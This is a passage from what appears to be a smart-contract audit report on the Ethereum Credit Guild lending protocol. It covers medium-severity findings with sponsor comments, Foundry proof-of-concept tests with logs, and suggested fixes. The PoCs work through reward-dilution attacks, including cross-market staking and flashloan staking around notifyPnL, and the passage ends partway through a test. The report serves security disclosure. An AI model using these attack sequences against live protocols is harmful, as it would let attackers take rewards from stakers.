This is interesting. I’m not sure whether to describe this as a vulnerability, since it is already in our plan to have a “smart account” or “router” tool for borrowers to atomically unwind their position/repay the exact correct amount according to the credit multiplier, that allows to multicall on
term.borrow+psm.redeem
andpsm.mint+term.repay
for instance. I can see how this feature could be made part of the base lending term, rather than something on top. Seems like a thoughtful consideration so I don’t mind confirming.
@TrungOre - I don’t see how this is an issue. It’s akin to saying that if token prices drop, repayments might increase slightly. The impact is limited and falls within the realm of crypto. Consider a lending protocol where users deposit ETH as collateral for a volatile asset loan. If, during partial repayment, the token’s price drops between the minting and the actual loan repayment transaction, it’s a crypto fluctuation, not a bug.
@btk - The thing is that borrowers borrowed
CreditTokens
which their value is tight to thecreditMultiplier
, it is not tied to a specific market price. If a borrower borrowed a specific amount of CreditTokens it should repay the same amount of borrowed tokens + interest. In this case, if thecreditMultiplier
drops, this will force the borrower to buy more creditTokens than what they should really bought. Thus, the total amount of repaid debt will be bigger than what it really should. As I explained in the report, the existing implementation can cause users to end up paying more value for what they borrowed.Important to emphasise that the drop of the
creditMultiplier
has nothing to do with the collateral that was used to back up the loan, that is a different thing.creditMultiplier
only matters for the CreditToken and the PeggedToken.
[M-09] Users can deflate other markets Guild holders rewards by staking less priced token
Submitted by SBSecurity, also found by ether_sky
In the SurplusGuildMinter::stake()
function, there is currently no check to verify if the provided term’s CREDIT
token is the same as the CREDIT
token in the called SurplusGuildMinter
. This oversight could result in inaccuracies in gaugeWeight
and rewards for guild holders, especially with the upcoming inclusion of various markets such as gUSDC and likely gWETH.
A potential issue exists where a user can stake in the SurplusGuildMinter(gUSDC)
using a gWETH term. This action results in the user obtaining Guild tokens based on staked gUSDC but inadvertently increases the gaugeWeight
for gWETH. As a consequence, other Guild token holders in the gWETH market may receive reduced rewards.
With a guild:credit
mintRatio
of 2, a staker should receive 2 Guild tokens for 1 gWETH. However, if the staker uses the wrong SurplusGuildMinter
and stakes 1 gUSDC, again 2 Guild tokens will be minted, creating a situation where the malicious staker can increase the gWETH gaugeWeight
with cheaper CreditToken
.
As illustrated in the scenario below, with just $100
, the malicious staker can reduce guild holder rewards more than twice. Afterward, they can unstake the initial $100
, causing a loss of rewards for other stakers.
Note: The malicious staker won’t receive rewards for this stake, and there won’t be any penalties (slashing) if the term incurs no losses until they decide to unstake.
Proof of Concept
Preconditions:
gUSDC
market.gWETH
market.
Steps:
- The malicious user mints
gUSDC
usingUSDC
. - Instead of staking through the appropriate
SurplusGuildMinter(gWETH)
, the user stakes in thegWETH
term throughSurplusGuildMinter(gUSDC)
. They retain the stake untilnotifyPnL
is called or as desired. Overall, for the lower-priced token (USDC), the user mints a significant amount of Guild compared to the same value in WETH. - With just
$100
, the malicious user can reduce guild holder rewards more than two times.
Coded PoC
Create a new file in test/unit/loan
called StakeIntoWrongTerm.t.sol
:
pragma solidity 0.8.13;
import {Test, console} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {MockLendingTerm} from "@test/mock/MockLendingTerm.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";
import {SurplusGuildMinter} from "@src/loan/SurplusGuildMinter.sol";
contract StakeIntoWrongTermUnitTest is Test {
address private governor = address(1);
address private guardian = address(2);
address private EXPLOITER = makeAddr("exploiter");
address private STAKER1 = makeAddr("staker1");
address private STAKER2 = makeAddr("staker2");
address private STAKER3 = makeAddr("staker3");
address private termUSDC;
address private termWETH;
Core private core;
ProfitManager private profitManagerUSDC;
ProfitManager private profitManagerWETH;
CreditToken gUSDC;
CreditToken gWETH;
GuildToken guild;
RateLimitedMinter rlgm;
SurplusGuildMinter sgmUSDC;
SurplusGuildMinter sgmWETH;
// GuildMinter params
uint256 constant MINT_RATIO = 2e18;
uint256 constant REWARD_RATIO = 5e18;
function setUp() public {
vm.warp(1679067867);
vm.roll(16848497);
core = new Core();
profitManagerUSDC = new ProfitManager(address(core));
profitManagerWETH = new ProfitManager(address(core));
gUSDC = new CreditToken(address(core), "gUSDC", "gUSDC");
gWETH = new CreditToken(address(core), "gWETH", "gWETH");
guild = new GuildToken(address(core), address(profitManagerWETH));
rlgm = new RateLimitedMinter(
address(core), /*_core*/
address(guild), /*_token*/
CoreRoles.RATE_LIMITED_GUILD_MINTER, /*_role*/
type(uint256).max, /*_maxRateLimitPerSecond*/
type(uint128).max, /*_rateLimitPerSecond*/
type(uint128).max /*_bufferCap*/
);
sgmUSDC = new SurplusGuildMinter(
address(core),
address(profitManagerUSDC),
address(gUSDC),
address(guild),
address(rlgm),
MINT_RATIO,
REWARD_RATIO
);
sgmWETH = new SurplusGuildMinter(
address(core),
address(profitManagerWETH),
address(gWETH),
address(guild),
address(rlgm),
MINT_RATIO,
REWARD_RATIO
);
profitManagerUSDC.initializeReferences(address(gUSDC), address(guild), address(0));
profitManagerWETH.initializeReferences(address(gWETH), address(guild), address(0));
termUSDC = address(new MockLendingTerm(address(core)));
termWETH = address(new MockLendingTerm(address(core)));
// roles
core.grantRole(CoreRoles.GOVERNOR, governor);
core.grantRole(CoreRoles.GUARDIAN, guardian);
core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
core.grantRole(CoreRoles.GUILD_MINTER, address(this));
core.grantRole(CoreRoles.GAUGE_ADD, address(this));
core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
core.grantRole(CoreRoles.GUILD_MINTER, address(rlgm));
core.grantRole(CoreRoles.RATE_LIMITED_GUILD_MINTER, address(sgmUSDC));
core.grantRole(CoreRoles.RATE_LIMITED_GUILD_MINTER, address(sgmWETH));
core.grantRole(CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW, address(sgmUSDC));
core.grantRole(CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW, address(sgmWETH));
core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
core.renounceRole(CoreRoles.GOVERNOR, address(this));
// add gauge and vote for it
guild.setMaxGauges(10);
guild.addGauge(1, termUSDC);
guild.addGauge(2, termWETH);
// labels
vm.label(address(core), "core");
vm.label(address(profitManagerUSDC), "profitManagerUSDC");
vm.label(address(profitManagerWETH), "profitManagerWETH");
vm.label(address(gUSDC), "gUSDC");
vm.label(address(gWETH), "gWETH");
vm.label(address(guild), "guild");
vm.label(address(rlgm), "rlcgm");
vm.label(address(sgmUSDC), "sgmUSDC");
vm.label(address(sgmWETH), "sgmWETH");
vm.label(termUSDC, "termUSDC");
vm.label(termWETH, "termWETH");
}
function testC1() public {
gWETH.mint(STAKER1, 10e18);
gWETH.mint(STAKER2, 50e18);
gWETH.mint(STAKER3, 30e18);
vm.startPrank(STAKER1);
gWETH.approve(address(sgmWETH), 10e18);
sgmWETH.stake(termWETH, 10e18);
vm.stopPrank();
vm.startPrank(STAKER2);
gWETH.approve(address(sgmWETH), 50e18);
sgmWETH.stake(termWETH, 50e18);
vm.stopPrank();
vm.startPrank(STAKER3);
gWETH.approve(address(sgmWETH), 30e18);
sgmWETH.stake(termWETH, 30e18);
vm.stopPrank();
console.log("------------------------BEFORE ATTACK------------------------");
console.log("Gauge(gWETH) Weight: ", guild.getGaugeWeight(termWETH));
vm.warp(block.timestamp + 150 days);
vm.prank(governor);
profitManagerWETH.setProfitSharingConfig(
0.05e18, // surplusBufferSplit
0.9e18, // creditSplit
0.05e18, // guildSplit
0, // otherSplit
address(0) // otherRecipient
);
gWETH.mint(address(profitManagerWETH), 1e18);
profitManagerWETH.notifyPnL(termWETH, 1e18);
sgmWETH.getRewards(STAKER1, termWETH);
sgmWETH.getRewards(STAKER2, termWETH);
sgmWETH.getRewards(STAKER3, termWETH);
console.log("Staker1 reward: ", gWETH.balanceOf(address(STAKER1)));
console.log("Staker2 reward: ", gWETH.balanceOf(address(STAKER2)));
console.log("Staker3 reward: ", gWETH.balanceOf(address(STAKER3)));
console.log("GaugeProfitIndex: ", profitManagerWETH.gaugeProfitIndex(termWETH));
}
function testC2() public {
gWETH.mint(STAKER1, 10e18);
gWETH.mint(STAKER2, 50e18);
gWETH.mint(STAKER3, 30e18);
vm.startPrank(STAKER1);
gWETH.approve(address(sgmWETH), 10e18);
sgmWETH.stake(termWETH, 10e18);
vm.stopPrank();
vm.startPrank(STAKER2);
gWETH.approve(address(sgmWETH), 50e18);
sgmWETH.stake(termWETH, 50e18);
vm.stopPrank();
vm.startPrank(STAKER3);
gWETH.approve(address(sgmWETH), 30e18);
sgmWETH.stake(termWETH, 30e18);
vm.stopPrank();
console.log("------------------------AFTER ATTACK-------------------------");
console.log("Gauge(gWETH) Weight Before Attack: ", guild.getGaugeWeight(termWETH));
gUSDC.mint(EXPLOITER, 100e18);
console.log("EXPLOITER gUSDC balance before stake: ", gUSDC.balanceOf(EXPLOITER));
vm.startPrank(EXPLOITER);
gUSDC.approve(address(sgmUSDC), 100e18);
sgmUSDC.stake(termWETH, 100e18);
console.log("EXPLOITER gUSDC balance after stake: ", gUSDC.balanceOf(EXPLOITER));
vm.stopPrank();
console.log("Gauge(gWETH) Weight After Attack: ", guild.getGaugeWeight(termWETH));
vm.warp(block.timestamp + 150 days);
vm.prank(governor);
profitManagerWETH.setProfitSharingConfig(
0.05e18, // surplusBufferSplit
0.9e18, // creditSplit
0.05e18, // guildSplit
0, // otherSplit
address(0) // otherRecipient
);
gWETH.mint(address(profitManagerWETH), 1e18);
profitManagerWETH.notifyPnL(termWETH, 1e18);
vm.startPrank(EXPLOITER);
sgmUSDC.unstake(termWETH, 100e18);
vm.stopPrank();
console.log("EXPLOITER gUSDC balance after unstake: ", gUSDC.balanceOf(EXPLOITER));
sgmWETH.getRewards(EXPLOITER, termWETH);
sgmUSDC.getRewards(EXPLOITER, termWETH);
console.log("EXPLOITER reward: ", gWETH.balanceOf(address(EXPLOITER)));
sgmWETH.getRewards(STAKER1, termWETH);
sgmWETH.getRewards(STAKER2, termWETH);
sgmWETH.getRewards(STAKER3, termWETH);
console.log("Staker1 reward: ", gWETH.balanceOf(address(STAKER1)));
console.log("Staker2 reward: ", gWETH.balanceOf(address(STAKER2)));
console.log("Staker3 reward: ", gWETH.balanceOf(address(STAKER3)));
console.log("GaugeProfitIndex After: ", profitManagerWETH.gaugeProfitIndex(termWETH));
}
}
There are tests for both cases – one without the attack and another with the attack scenario.
Run them with:
forge test --match-contract "StakeIntoWrongTermUnitTest" -vvv
Logs:
------------------------BEFORE ATTACK------------------------
Gauge(gWETH) Weight: 180000000000000000000
Staker1 reward: 5555555555555540
Staker2 reward: 27777777777777700
Staker3 reward: 16666666666666620
GaugeProfitIndex: 1000277777777777777
Logs:
Gauge(gWETH) Weight Before Attack: 180000000000000000000
EXPLOITER gUSDC balance before stake: 100000000000000000000
EXPLOITER gUSDC balance after stake: 0
Gauge(gWETH) Weight After Attack: 380000000000000000000
EXPLOITER gUSDC balance after unstake: 100000000000000000000
EXPLOITER reward: 0
Staker1 reward: 2631578947368420
Staker2 reward: 13157894736842100
Staker3 reward: 7894736842105260
GaugeProfitIndex After: 1000131578947368421
Recommended Mitigation Steps
To prevent manipulation, add a check in the stake()
function to ensure that the passed term is from the same market as the SurplusGuildMinter
.
function stake(address term, uint256 amount) external whenNotPaused {
+ require(LendingTerm(term).getReferences().creditToken == credit, "SurplusGuildMinter: term from wrong market!");
// apply pending rewards
(uint256 lastGaugeLoss, UserStake memory userStake, ) = getRewards(
msg.sender,
term
);
require(
lastGaugeLoss != block.timestamp,
"SurplusGuildMinter: loss in block"
);
require(amount >= MIN_STAKE, "SurplusGuildMinter: min stake");
// pull CREDIT from user & transfer it to surplus buffer
CreditToken(credit).transferFrom(msg.sender, address(this), amount);
CreditToken(credit).approve(address(profitManager), amount);
ProfitManager(profitManager).donateToTermSurplusBuffer(term, amount);
// self-mint GUILD tokens
uint256 _mintRatio = mintRatio;
uint256 guildAmount = (_mintRatio * amount) / 1e18;
RateLimitedMinter(rlgm).mint(address(this), guildAmount);
GuildToken(guild).incrementGauge(term, guildAmount);
// update state
userStake = UserStake({
stakeTime: SafeCastLib.safeCastTo48(block.timestamp),
lastGaugeLoss: SafeCastLib.safeCastTo48(lastGaugeLoss),
profitIndex: SafeCastLib.safeCastTo160(
ProfitManager(profitManager).userGaugeProfitIndex(
address(this),
term
)
),
credit: userStake.credit + SafeCastLib.safeCastTo128(amount),
guild: userStake.guild + SafeCastLib.safeCastTo128(guildAmount)
});
_stakes[msg.sender][term] = userStake;
// emit event
emit Stake(block.timestamp, term, amount);
}
Assessed type
Invalid Validation
eswak (Ethereum Credit Guild) confirmed and commented:
Confirming this, thanks for the quality of the report.
[M-10] Wrong ProfitManager in GuildToken, will always revert for other types of gauges leading to bad debt
Submitted by SBSecurity, also found by grearlake, sl1, alexzoid, Giorgio, NentoR, 0xpiken, 0xanmol, btk, santipu_, TheSchnilch, asui, kaden, and ether_sky
Line of code
Impact
In GuildToken.sol
, there’s a mistake where profitManager
is set in the constructor. This is problematic because different markets have different ProfitManagers
, and the logic was initially designed for only one market (e.g., gUSDC). As a result, calling notifyPnL()
with negative value (via forgive()
or onBid()
in other type of terms (e.g. gWETH)), it triggers GuildToken::notifyGaugeLoss()
. However, this always results in a revert for other term types because the caller is the ProfitManager of that type, whereas GuildToken::notifyGaugeLoss()
expects the one set in the constructor.
As a result, this means that loans from other markets won’t be removed unless users repay them, resulting in bad debt for the protocol.
function notifyGaugeLoss(address gauge) external {
require(msg.sender == profitManager, "UNAUTHORIZED");
// save gauge loss
lastGaugeLoss[gauge] = block.timestamp;
emit GaugeLoss(gauge, block.timestamp);
}
Note: It’s using this profitManager
in other parts of GuildToken
, but it has nothing to do with the attack, and it doesn’t cause any impact. However, we show how to fix it in the recommendation section. Because the profitManager
should be removed altogether and always called dynamically based on the passed gauge.
Proof of Concept
Conditions:
- 2+ market (gUSDC, gWETH, etc).
- Negative
notifyPnL()
(viaforgive()
oronBid()
).
Coded PoC
Firstly, you need to add additional variables for other term type and include them in the setUp()
.
Modify SurplusGuildMinter.t.sol
as shown:
contract SurplusGuildMinterUnitTest is Test {
address private governor = address(1);
address private guardian = address(2);
address private term;
+ address private termWETH;
Core private core;
ProfitManager private profitManager;
+ ProfitManager private profitManagerWETH;
CreditToken credit;
+ CreditToken creditWETH;
GuildToken guild;
RateLimitedMinter rlgm;
SurplusGuildMinter sgm;
// GuildMinter params
uint256 constant MINT_RATIO = 2e18;
uint256 constant REWARD_RATIO = 5e18;
function setUp() public {
vm.warp(1679067867);
vm.roll(16848497);
core = new Core();
profitManager = new ProfitManager(address(core));
+ profitManagerWETH = new ProfitManager(address(core));
credit = new CreditToken(address(core), "name", "symbol");
+ creditWETH = new CreditToken(address(core), "WETH", "WETH");
guild = new GuildToken(address(core), address(profitManager));
rlgm = new RateLimitedMinter(
address(core), /*_core*/
address(guild), /*_token*/
CoreRoles.RATE_LIMITED_GUILD_MINTER, /*_role*/
type(uint256).max, /*_maxRateLimitPerSecond*/
type(uint128).max, /*_rateLimitPerSecond*/
type(uint128).max /*_bufferCap*/
);
sgm = new SurplusGuildMinter(
address(core),
address(profitManager),
address(credit),
address(guild),
address(rlgm),
MINT_RATIO,
REWARD_RATIO
);
profitManager.initializeReferences(address(credit), address(guild), address(0));
+ profitManagerWETH.initializeReferences(address(creditWETH), address(guild), address(0));
term = address(new MockLendingTerm(address(core)));
+ termWETH = address(new MockLendingTerm(address(core)));
// roles
core.grantRole(CoreRoles.GOVERNOR, governor);
core.grantRole(CoreRoles.GUARDIAN, guardian);
core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
core.grantRole(CoreRoles.GUILD_MINTER, address(this));
core.grantRole(CoreRoles.GAUGE_ADD, address(this));
core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
core.grantRole(CoreRoles.GUILD_MINTER, address(rlgm));
core.grantRole(CoreRoles.RATE_LIMITED_GUILD_MINTER, address(sgm));
core.grantRole(CoreRoles.RATE_LIMITED_GUILD_MINTER, address(sgmWETH));
core.grantRole(CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW, address(sgm));
core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
core.renounceRole(CoreRoles.GOVERNOR, address(this));
// add gauge and vote for it
guild.setMaxGauges(10);
guild.addGauge(1, term);
guild.mint(address(this), 50e18);
guild.incrementGauge(term, uint112(50e18));
+ guild.addGauge(2, termWETH);
// labels
vm.label(address(core), "core");
vm.label(address(profitManager), "profitManager");
vm.label(address(credit), "credit");
vm.label(address(guild), "guild");
vm.label(address(rlgm), "rlcgm");
vm.label(address(sgm), "sgm");
vm.label(term, "term");
}
...
}
Place the test in the same SurplusGuildMinter.t.sol
and run with:
forge test --match-contract "SurplusGuildMinterUnitTest" --match-test "testNotifyPnLCannotBeCalledWithNegative"
function testNotifyPnLCannotBeCalledWithNegative() public {
// Show that for the initial gUSDC term there is no problem.
credit.mint(address(profitManager), 10);
profitManager.notifyPnL(term, -1);
creditWETH.mint(address(profitManagerWETH), 10);
vm.expectRevert("UNAUTHORIZED");
profitManagerWETH.notifyPnL(termWETH, -1);
}
Recommended Mitigation Steps
In GuildToken.sol, ProfitManager
needs to be dynamically called, because there will be different ProfitManager
for each market.
Since the caller of the notifyGaugeLoss()
needs to be the profitManager
of the passed gauge, here is the refactored logic:
function notifyGaugeLoss(address gauge) external {
+ address gaugeProfitManager = LendingTerm(gauge).getReferences().profitManager;
+ require(msg.sender == gaugeProfitManager, "UNAUTHORIZED");
- require(msg.sender == profitManager, "UNAUTHORIZED");
// save gauge loss
lastGaugeLoss[gauge] = block.timestamp;
emit GaugeLoss(gauge, block.timestamp);
}
You should also rework _decrementGaugeWeight()
and _incrementGaugeWeight()
as follows:
function _decrementGaugeWeight(
address user,
address gauge,
uint256 weight
) internal override {
uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];
require(
_lastGaugeLossApplied >= _lastGaugeLoss,
"GuildToken: pending loss"
);
// update the user profit index and claim rewards
- ProfitManager(profitManager).claimGaugeRewards(user, gauge);
+ address gaugeProfitManager = LendingTerm(gauge).getReferences().profitManager;
+ ProfitManager(gaugeProfitManager).claimGaugeRewards(user, gauge);
// check if gauge is currently using its allocated debt ceiling.
// To decrement gauge weight, guild holders might have to call loans if the debt ceiling is used.
uint256 issuance = LendingTerm(gauge).issuance();
if (issuance != 0) {
uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
require(
issuance <= debtCeilingAfterDecrement,
"GuildToken: debt ceiling used"
);
}
super._decrementGaugeWeight(user, gauge, weight);
}
function _incrementGaugeWeight(
address user,
address gauge,
uint256 weight
) internal override {
uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];
if (getUserGaugeWeight[user][gauge] == 0) {
lastGaugeLossApplied[gauge][user] = block.timestamp;
} else {
require(
_lastGaugeLossApplied >= _lastGaugeLoss,
"GuildToken: pending loss"
);
}
- ProfitManager(profitManager).claimGaugeRewards(user, gauge);
+ address gaugeProfitManager = LendingTerm(gauge).getReferences().profitManager;
+ ProfitManager(gaugeProfitManager).claimGaugeRewards(user, gauge);
super._incrementGaugeWeight(user, gauge, weight);
}
Assessed type
DoS
eswak (Ethereum Credit Guild) confirmed, but disagreed with severity and commented:
Confirming, I think the fix will look like this:
Note: to view the provided image, please see the original comment here.
I’d argue no user funds are at risk (this would be detected upon deployment of a 2nd market, before users can use it) so this is more fit for Medium.
TrungOre (judge) decreased severity to Medium
[M-11] Malicious borrower can decrease Guild holders reward
Submitted by SBSecurity, also found by JCN, grearlake, EV_om, Arz, Soul22, carrotsmuggler, Infect3d, Mike_Bello90, evmboi32, smiling_heretic, SECURITISE, zhaojie, rbserver, almurhasan, EllipticPoint (1, 2), 0xanmol, 0xbepresent, kaden, c47ch3m4ll, whitehat-boys, 0x_6a70, 0xfave, Byteblockers (1, 2), CaeraDenoir, critical-or-high, ether_sky, and cccz
Lines of code
Impact
A malicious borrower can reduce all Guild holders’ rewards with a big flashloan, upon full repayment.
A borrower opens a loan with the minimum borrowable amount in term with no mandatory partial repayment. Waits for the loan to accumulate interest, then transfers the funds to an alternative account - EXPLOITER. EXPLOITER takes a flash loan, stakes the amount through SurplusGuildMinter
, repays the original loan, lowering the rewards for all other GUILD holders by increasing the _gaugeWeight
with his staked tokens. Afterward, the EXPLOITER unstakes and returns the flashloan.
The attacker ends up with his collateral, his loan repaid, credit reward and a big percentage of the reward intended for GUILD
holders since he is the largest staker for this term at the time of the attack. He receives significant credit and guild rewards as a staker, which is incorrect because he was a staker only for that specific transaction.
He only pays the unavoidable interest payment, typically around $4-5
, along with gas costs in the scenario described below.
Note: The attack can be simplified further by having a substantial amount of tokens and bypassing the flashloan step. By frontrunning the notifyPnL()
function with a stake()
, followed by a backrun with an unstake()
, this way the attacker can instantly accumulate rewards without being a long-term staker like others in the system.
Proof of Concept
The exploiter has two accounts:
- ALICE account: This is used to borrow a loan, which the exploiter, will later repay to trigger the
notifyPnL()
. - EXPLOITER account: This account is used to obtain a flash loan, then staked the amount into the same term. This action is designed to deflate rewards for other participants in the system.
Prerequisites: The exploiter requires approximately $10
balance before the attack to cover the loan interest.
Here are the detailed steps to execute the described attack:
- Alice borrows 100 gUSDC.
- Transfers the borrowed gUSDC to the EXPLOITER account.
- Waits for 150 days to accumulate interest on the loan (waiting period can also be shorter, for just 10 days the impact will be slightly lower, 4 decimals less removed from the stakers rewards).
- EXPLOITER obtains a USDC flash loan.
- Mints gUSDC through
PSM
. - Stakes the minted gUSDC into the same term using
SurplusGuildMinter
. - Repays Alice’s position, triggering
notifyPnL()
. notifyPnL()
updates the_gaugeProfitIndex
, reducing rewards for other Guild holders.- EXPLOITER unstakes.
- Redeems USDC through PSM.
- Returns the flash loan.
Coded PoC
Create new file in test/unit/loan
called DeflateGuildHoldersRewards.t.sol
:
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;
import {Test, console} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {MockLendingTerm} from "@test/mock/MockLendingTerm.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";
import {SurplusGuildMinter} from "@src/loan/SurplusGuildMinter.sol";
contract DeflateGuildHoldersRewardsUnitTest is Test {
address private governor = address(1);
address private guardian = address(2);
address private ALICE = makeAddr("alice");
address private EXPLOITER = makeAddr("exploiter");
address private STAKER1 = makeAddr("staker1");
address private STAKER2 = makeAddr("staker2");
address private STAKER3 = makeAddr("staker3");
address private termUSDC;
Core private core;
ProfitManager private profitManagerUSDC;
CreditToken gUSDC;
GuildToken guild;
RateLimitedMinter rlgm;
SurplusGuildMinter sgmUSDC;
// GuildMinter params
uint256 constant MINT_RATIO = 2e18;
uint256 constant REWARD_RATIO = 5e18;
function setUp() public {
vm.warp(1679067867);
vm.roll(16848497);
core = new Core();
profitManagerUSDC = new ProfitManager(address(core));
gUSDC = new CreditToken(address(core), "gUSDC", "gUSDC");
guild = new GuildToken(address(core), address(profitManagerUSDC));
rlgm = new RateLimitedMinter(
address(core), /*_core*/
address(guild), /*_token*/
CoreRoles.RATE_LIMITED_GUILD_MINTER, /*_role*/
type(uint256).max, /*_maxRateLimitPerSecond*/
type(uint128).max, /*_rateLimitPerSecond*/
type(uint128).max /*_bufferCap*/
);
sgmUSDC = new SurplusGuildMinter(
address(core),
address(profitManagerUSDC),
address(gUSDC),
address(guild),
address(rlgm),
MINT_RATIO,
REWARD_RATIO
);
profitManagerUSDC.initializeReferences(address(gUSDC), address(guild), address(0));
termUSDC = address(new MockLendingTerm(address(core)));
// roles
core.grantRole(CoreRoles.GOVERNOR, governor);
core.grantRole(CoreRoles.GUARDIAN, guardian);
core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
core.grantRole(CoreRoles.GUILD_MINTER, address(this));
core.grantRole(CoreRoles.GAUGE_ADD, address(this));
core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
core.grantRole(CoreRoles.GUILD_MINTER, address(rlgm));
core.grantRole(CoreRoles.RATE_LIMITED_GUILD_MINTER, address(sgmUSDC));
core.grantRole(CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW, address(sgmUSDC));
core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
core.renounceRole(CoreRoles.GOVERNOR, address(this));
guild.setMaxGauges(10);
guild.addGauge(1, termUSDC);
// labels
vm.label(address(core), "core");
vm.label(address(profitManagerUSDC), "profitManagerUSDC");
vm.label(address(gUSDC), "gUSDC");
vm.label(address(guild), "guild");
vm.label(address(rlgm), "rlcgm");
vm.label(address(sgmUSDC), "sgmUSDC");
vm.label(termUSDC, "termUSDC");
}
function testGuildHoldersRewardsWithoutEXPLOITER() public {
// 3 users borrow gUSDC and stake them into the gUSDC term
// In reality there may be more users, but for testing purposes, three are sufficient.
gUSDC.mint(STAKER1, 200e18);
gUSDC.mint(STAKER2, 800e18);
gUSDC.mint(STAKER3, 600e18);
vm.startPrank(STAKER1);
gUSDC.approve(address(sgmUSDC), 200e18);
sgmUSDC.stake(termUSDC, 200e18);
vm.stopPrank();
vm.startPrank(STAKER2);
gUSDC.approve(address(sgmUSDC), 800e18);
sgmUSDC.stake(termUSDC, 800e18);
vm.stopPrank();
vm.startPrank(STAKER3);
gUSDC.approve(address(sgmUSDC), 600e18);
sgmUSDC.stake(termUSDC, 600e18);
vm.stopPrank();
// Alice borrows 10 gUSDC. There's no borrow logic involved due to MockLendingTerm, but it's not necessary for the test.
uint borrowTime = block.timestamp;
gUSDC.mint(ALICE, 100e18);
vm.warp(block.timestamp + 150 days);
uint256 interest = _computeAliceLoanInterest(borrowTime, 100e18);
vm.prank(governor);
profitManagerUSDC.setProfitSharingConfig(
0.05e18, // surplusBufferSplit
0.9e18, // creditSplit
0.05e18, // guildSplit
0, // otherSplit
address(0) // otherRecipient
);
gUSDC.mint(address(profitManagerUSDC), interest);
profitManagerUSDC.notifyPnL(termUSDC, int256(interest));
sgmUSDC.getRewards(STAKER1, termUSDC);
sgmUSDC.getRewards(STAKER2, termUSDC);
sgmUSDC.getRewards(STAKER3, termUSDC);
console.log("------------------------------BEFORE ATTACK------------------------------");
console.log("Staker1 credit reward: ", gUSDC.balanceOf(address(STAKER1)));
console.log("Staker1 guild reward: ", guild.balanceOf(address(STAKER1)));
console.log("Staker2 credit reward: ", gUSDC.balanceOf(address(STAKER2)));
console.log("Staker2 guild reward: ", guild.balanceOf(address(STAKER2)));
console.log("Staker3 credit reward: ", gUSDC.balanceOf(address(STAKER3)));
console.log("Staker3 guild reward: ", guild.balanceOf(address(STAKER3)));
console.log("GaugeProfitIndex: ", profitManagerUSDC.gaugeProfitIndex(termUSDC));
}
function testGuildHoldersRewardsAfterEXPLOITER() public {
gUSDC.mint(STAKER1, 200e18);
gUSDC.mint(STAKER2, 800e18);
gUSDC.mint(STAKER3, 600e18);
vm.startPrank(STAKER1);
gUSDC.approve(address(sgmUSDC), 200e18);
sgmUSDC.stake(termUSDC, 200e18);
vm.stopPrank();
vm.startPrank(STAKER2);
gUSDC.approve(address(sgmUSDC), 800e18);
sgmUSDC.stake(termUSDC, 800e18);
vm.stopPrank();
vm.startPrank(STAKER3);
gUSDC.approve(address(sgmUSDC), 600e18);
sgmUSDC.stake(termUSDC, 600e18);
vm.stopPrank();
// Alice borrows 10 gUSDC. There's no borrow logic involved due to MockLendingTerm, but it's not necessary for the test.
uint borrowTime = block.timestamp;
gUSDC.mint(ALICE, 100e18);
// NOTE: Alice needs to transfer the borrowed 100e18 gUSDC to EXPLOITER for repayment.
console.log("-------------------------------AFTER ATTACK-------------------------------");
console.log("EXPLOITER Credit Balance before flashloan: ", gUSDC.balanceOf(EXPLOITER));
// EXPLOITER gets a flashloan.
gUSDC.mint(EXPLOITER, 10_000_000e18);
console.log("EXPLOITER Credit Balance after flashloan: ", gUSDC.balanceOf(EXPLOITER));
vm.startPrank(EXPLOITER);
gUSDC.approve(address(sgmUSDC), 10_000_000e18);
sgmUSDC.stake(termUSDC, 10_000_000e18);
console.log("EXPLOITER Credit balance after stake: ", gUSDC.balanceOf(EXPLOITER));
vm.stopPrank();
vm.warp(block.timestamp + 150 days);
uint256 interest = _computeAliceLoanInterest(borrowTime, 100e18);
vm.prank(governor);
profitManagerUSDC.setProfitSharingConfig(
0.05e18, // surplusBufferSplit
0.9e18, // creditSplit
0.05e18, // guildSplit
0, // otherSplit
address(0) // otherRecipient
);
profitManagerUSDC.notifyPnL(termUSDC, int256(interest));
sgmUSDC.getRewards(EXPLOITER, termUSDC);
console.log("EXPLOITER (instant) Credit reward: ", gUSDC.balanceOf(address(EXPLOITER)));
console.log("EXPLOITER (instant) Guild reward: ", guild.balanceOf(address(EXPLOITER)));
//EXPLOITER's profit is based on the guild split since he own almost all of the GUILD totalSupply.
vm.startPrank(EXPLOITER);
sgmUSDC.unstake(termUSDC, 10_000_000e18);
vm.stopPrank();
console.log("EXPLOITER credit balance after unstake: ", gUSDC.balanceOf(EXPLOITER));
// NOTE: EXPLOITER repays the flash loan here.
sgmUSDC.getRewards(STAKER1, termUSDC);
